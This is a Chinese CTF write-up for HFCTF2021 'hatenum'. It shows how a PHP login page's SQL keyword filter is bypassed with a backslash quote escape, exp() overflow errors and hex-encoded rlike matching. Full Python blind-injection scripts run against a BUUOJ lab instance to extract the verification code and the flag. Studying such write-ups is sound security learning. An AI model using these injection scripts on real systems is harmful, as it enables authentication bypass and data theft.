HFCTF2021-hatenum

这是五月份的题目了,但是一直没写wp,拿出来再水一遍,自己写一遍脚本,顺便总结一下知识点(

解题过程

总览

附件直接给了源码,重点看SQL语句的部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
	function login($username,$password,$code){
$res = $this->conn->query("select * from users where username='$username' and password='$password'");
if($this->conn->error){
return 'error';
}
else{
$content = $res->fetch_array();
if($content['code']===$_POST['code']){
$_SESSION['username'] = $content['username'];
return 'success';
}
else{
return 'fail';
}
}
}
}

语句直接拼接,很容易想到SQL注入

但是接着往下看,会发现写了waf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function sql_waf($str){	
if(preg_match('/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i', $str)){
die('Hack detected');
}
}

function num_waf($str){
if(preg_match('/\d{9}|0x[0-9a-f]{9}/i',$str)){
die('Huge num detected');
}
}

function array_waf($arr){
foreach ($arr as $key => $value) {
if(is_array($value)){
array_waf($value);
}
else{
sql_waf($value);
num_waf($value);
}
}
}

sql_waf过滤了一堆语法

num_waf则过滤了大数字

如何注入

先看看究竟过滤了哪些东西

1
2
preg_match('/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i', $str)
preg_match('/\d{9}|0x[0-9a-f]{9}/i',$str)

然后把login功能里面的查询语句拿出来单独看看

1
$res = $this->conn->query("select * from users where username='$username' and password='$password'");

单引号过滤了,但是仔细一看没过滤\,构造username=name\可以把后面的单引号转义掉,然后再通过在password里加注释符达到万能密码的效果

不过发现code是单独验证的,所以此处要通过注入来拿到code

溢出注入

顾名思义,通过溢出引发报错来进行注入

虽然preg_match过滤掉了大数字,不过我们仍然可以通过exp函数来进行溢出

exp(pow)返回e的pow次方

当exp()的参数大于709时就会造成溢出,报错

回显login fail

回显error

获取code长度

既然exp()的参数大于709就会error,我们可以通过这个特性来获取code的长度。

通过回显来间接得到length(code)的值,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import string


url="http://2332ef01-e3b2-4f52-b807-3f5a432dc457.node4.buuoj.cn/login.php"


def getlen():
for i in range(99):
payload = "||exp(%d-length(code))#"%(709+i)
data = {
"username": "ibuki\\",
"password": payload,
"code": "1"
}
r = requests.post(url, data=data, allow_redirects=False)
if not 'fail' in r.text:
print("code len:%d"%(i-1))
return

getlen()

运行结果

得到code长度为23

rlike语句

在MySQL中,RLIKE运算符用于确定字符串是否匹配正则表达式。它是REGEXP_LIKE()的同义词。

如果字符串与提供的正则表达式匹配,则结果为1,否则为0。

此处我们可以构造password为

1
password=||exp(710-(code rlike xxx))

这样,当rlike语句成功匹配时会返回login fail,否则返回error

关于空格的绕过

  • /**/

  • 加括号

  • 将空格变成换页键(chr(0x0c)),换行符,tab键 。

本题可以通过chr(0x0c)绕过

​ ——–by naman

单引号过滤

通过binary语法将需要匹配的字符串转成十六进制形式即可

数字大小限制

本题难点之一:不管是十六进制还是十进制数字,都不能达到9位。

十六进制下按两位一个字符来算,也就是一次最多只能匹配四个字符,而code有23位,怎么解决这个问题呢?

先通过构造’^xxx’匹配开头,可以得到开头的前三个字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import string


url="http://2332ef01-e3b2-4f52-b807-3f5a432dc457.node4.buuoj.cn/login.php"
thelist=string.digits+string.ascii_uppercase+string.ascii_lowercase#所有数字和字母


def hexer(str):
ret='0x'
for char in str:
ret=ret+hex(ord(char))[2:]
return ret


def guessstart():
guess='^'
for i in range(3):
for c in thelist:
payload="||exp(710-(code rlike binary "+hexer(guess+c)+"))#"
payload=payload.replace(' ',chr(0x0c))

data = {
"username": "ibuki\\",
"password": payload,
"code": "1"
}

r = requests.post(url,data=data,allow_redirects=False)
if 'fail' in r.text:
guess+=c
print(guess)
continue

guessstart()

运行结果

得到前三个字符erg

然后这里的思路是,通过已有的三个字符,加上猜测的第四个字符,来进行匹配。不过稍微想一下就知道:因为只能得知是否匹配成功,不知道匹配成功的位置,所以这种匹配方式可能会出现多解。

这里采用了枚举所有可能性的方法,即将每一步的可能性都存下来分别进行再次匹配,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import requests
import string


url="http://2332ef01-e3b2-4f52-b807-3f5a432dc457.node4.buuoj.cn/login.php"
thelist=string.digits+string.ascii_uppercase+string.ascii_lowercase#所有数字和字母


def next(str):
ret=[]
for c in thelist:
payload = "||exp(710-(code rlike binary " + hexer(str[-3:] + c) + "))#"
payload = payload.replace(' ', chr(0x0c))

data = {
"username": "ibuki\\",
"password": payload,
"code": "1"
}

while True:
r = requests.post(url, data=data, allow_redirects=False)
if not ('Too Many Requests' in r.text):#实测发现请求太多容易出429,加了这个
break

if 'fail' in r.text:
ret.append(str+c)

return ret


def getcode():

allthefates=['erg']

for t in range(20):
nextfates=[]

for fate in allthefates:
possibility = next(fate)

for i in possibility:
nextfates.append(i)

allthefates=nextfates
print(allthefates)

getcode()

最后得到了三个code,试了一下,第一个就是对的

利用万能密码和code登录后拿到flag

flag{44a15053-28e7-4e08-b076-53ac06b103c1}

感想和总结

当时和naman交流了一下思路之后看他打了一遍,感觉会了

今天自己打一遍发现怎么这么多问题……

比如用python来POST过去的话,换页符不能用%0c只能用chr(0x0c)

比如一开始脚本爆不出来我还以为是我写错了,de了半天bug发现是请求过于频繁429了……

SQL注入的脚本实在是没怎么写过,代码水平属于是很差了

还是得多打点代码锻炼一下